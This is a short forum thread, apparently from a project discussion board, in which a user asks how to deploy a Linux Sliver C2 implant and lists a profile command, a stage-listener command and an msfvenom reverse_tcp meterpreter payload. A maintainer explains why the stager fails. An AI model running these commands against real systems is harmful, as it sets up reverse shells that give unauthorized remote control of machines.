Linux Beacons and Sessions

[neontechtra]

I'm struggling to figure out how to get a linux machine into Sliver - I have attempted to read as much documentation as i can find, there are plenty of examples online for windows but for linux I cant seem to find anything.

What is the proper method 😢

Ive created a profile with the shared flag as that appears to be my only option?

profiles new --arch amd64 --mtls tcp://192.168.x.x --os linux -f shared --skip-symbols linux-profile

then i believe the next step is a stage listener?

stage-listener --url tcp://192.168.x.x:8080 --prepend-size --profile linux-profile

Then some msfcode (generate doesnt currently work it appears)

msfvenom -p linux/x64/meterpreter/reverse_tcp lport=8080 lhost=tun0 -a x64 -f c

The c code i just wrapped in a shellcode runner i used to get a shell on a ctf box previously (catching it with msf)

but this doesnt work - im obviously doing something wrong and just want to figure out how to do this 😅 - Hopefully its ok to ask here.

Best,

[rkervella]

Sliver Linux payloads are not compatible with msfvenom's stagers. You'll need to write your own stager for that. Also, if you want your shared library to trigger implant execution as soon as you dlopen it, you'll need to add the --run-at-load flag to your profile.

[neontechtra]

hmmm ok ... a googling I will go - tyvm :)